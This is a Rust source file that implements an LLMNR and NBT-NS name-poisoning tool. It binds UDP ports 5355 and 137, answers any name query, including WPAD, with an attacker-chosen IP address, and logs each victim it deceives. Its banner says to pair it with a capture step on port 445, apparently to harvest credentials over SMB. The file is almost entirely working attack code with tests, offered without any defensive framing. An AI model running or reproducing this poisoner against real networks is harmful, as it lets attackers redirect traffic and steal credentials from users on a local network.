use anyhow::{Context, Result};
use std::net::Ipv4Addr;
use tokio::net::UdpSocket;
fn dns_name(buf: &[u8], mut p: usize) -> Option<(String, usize)> {
let mut labels = Vec::new();
while let Some(&len) = buf.get(p) {
if len == 0 {
return Some((labels.join("."), p + 1));
}
let l = len as usize;
let label = buf.get(p + 1..p + 1 + l)?;
labels.push(String::from_utf8_lossy(label).into_owned());
p += 1 + l;
}
None
}
pub fn llmnr_response(query: &[u8], spoof: Ipv4Addr) -> Option<(String, Vec<u8>)> {
if query.len() < 12 {
return None;
}
let flags = u16::from_be_bytes([query[2], query[3]]);
let qdcount = u16::from_be_bytes([query[4], query[5]]);
if flags & 0x8000 != 0 || qdcount == 0 {
return None; }
let (name, after) = dns_name(query, 12)?;
let qend = after + 4; if query.len() < qend {
return None;
}
let question = &query[12..qend];
let mut r = Vec::new();
r.extend_from_slice(&query[0..2]); r.extend_from_slice(&0x8000u16.to_be_bytes()); r.extend_from_slice(&1u16.to_be_bytes()); r.extend_from_slice(&1u16.to_be_bytes()); r.extend_from_slice(&0u32.to_be_bytes()); r.extend_from_slice(question); r.extend_from_slice(&query[12..after]); r.extend_from_slice(&1u16.to_be_bytes()); r.extend_from_slice(&1u16.to_be_bytes()); r.extend_from_slice(&30u32.to_be_bytes()); r.extend_from_slice(&4u16.to_be_bytes()); r.extend_from_slice(&spoof.octets());
Some((name, r))
}
fn netbios_decode(enc: &[u8]) -> String {
let mut out = Vec::new();
for pair in enc.chunks_exact(2) {
let hi = pair[0].wrapping_sub(b'A');
let lo = pair[1].wrapping_sub(b'A');
out.push((hi << 4) | lo);
}
let name = out.get(..15).unwrap_or(&out);
String::from_utf8_lossy(name).trim_end().to_string()
}
pub fn nbtns_response(query: &[u8], spoof: Ipv4Addr) -> Option<(String, Vec<u8>)> {
if query.len() < 12 + 34 + 4 {
return None;
}
let flags = u16::from_be_bytes([query[2], query[3]]);
if flags & 0x8000 != 0 {
return None; }
if query[12] != 0x20 {
return None;
}
let name = netbios_decode(&query[13..45]);
let question = &query[12..12 + 34 + 4]; let mut r = Vec::new();
r.extend_from_slice(&query[0..2]); r.extend_from_slice(&0x8500u16.to_be_bytes()); r.extend_from_slice(&0u16.to_be_bytes()); r.extend_from_slice(&1u16.to_be_bytes()); r.extend_from_slice(&0u32.to_be_bytes()); r.extend_from_slice(question); r.extend_from_slice(&60u32.to_be_bytes()); r.extend_from_slice(&6u16.to_be_bytes()); r.extend_from_slice(&0u16.to_be_bytes()); r.extend_from_slice(&spoof.octets());
Some((name, r))
}
async fn run_llmnr(spoof: Ipv4Addr) -> Result<()> {
let sock = UdpSocket::bind("0.0.0.0:5355")
.await
.context("bind LLMNR :5355")?;
sock.join_multicast_v4("224.0.0.252".parse().unwrap(), Ipv4Addr::UNSPECIFIED)
.ok();
let mut buf = [0u8; 2048];
loop {
let (n, from) = sock.recv_from(&mut buf).await?;
if let Some((name, resp)) = llmnr_response(&buf[..n], spoof) {
let _ = sock.send_to(&resp, from).await;
println!("[LLMNR] {from} asked '{name}' → answered {spoof}");
}
}
}
async fn run_nbtns(spoof: Ipv4Addr) -> Result<()> {
let sock = UdpSocket::bind("0.0.0.0:137")
.await
.context("bind NBT-NS :137")?;
let mut buf = [0u8; 2048];
loop {
let (n, from) = sock.recv_from(&mut buf).await?;
if let Some((name, resp)) = nbtns_response(&buf[..n], spoof) {
let _ = sock.send_to(&resp, from).await;
println!("[NBT-NS] {from} asked '{name}' → answered {spoof}");
}
}
}
pub async fn poison(spoof: Ipv4Addr) -> Result<()> {
println!(
"[*] poisoning LLMNR (5355) + NBT-NS (137) → {spoof} (pair with `attack capture` on 445)"
);
tokio::try_join!(run_llmnr(spoof), run_nbtns(spoof))?;
Ok(())
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn llmnr_answers_query_with_spoof_ip() {
let mut q = vec![0x12, 0x34, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0];
q.push(4);
q.extend_from_slice(b"WPAD");
q.push(0);
q.extend_from_slice(&[0, 1, 0, 1]); let (name, resp) = llmnr_response(&q, Ipv4Addr::new(10, 0, 0, 5)).unwrap();
assert_eq!(name, "WPAD");
assert_eq!(&resp[0..2], &[0x12, 0x34]); assert_eq!(u16::from_be_bytes([resp[2], resp[3]]), 0x8000); assert_eq!(&resp[resp.len() - 4..], &[10, 0, 0, 5]); }
#[test]
fn llmnr_ignores_responses() {
let q = vec![0, 0, 0x80, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0];
assert!(llmnr_response(&q, Ipv4Addr::LOCALHOST).is_none());
}
#[test]
fn netbios_decode_roundtrips_known_name() {
let mut name = b"FILESERVER".to_vec();
name.resize(15, b' ');
name.push(0x00); let enc: Vec<u8> = name
.iter()
.flat_map(|b| [b'A' + (b >> 4), b'A' + (b & 0x0f)])
.collect();
assert_eq!(netbios_decode(&enc), "FILESERVER");
}
}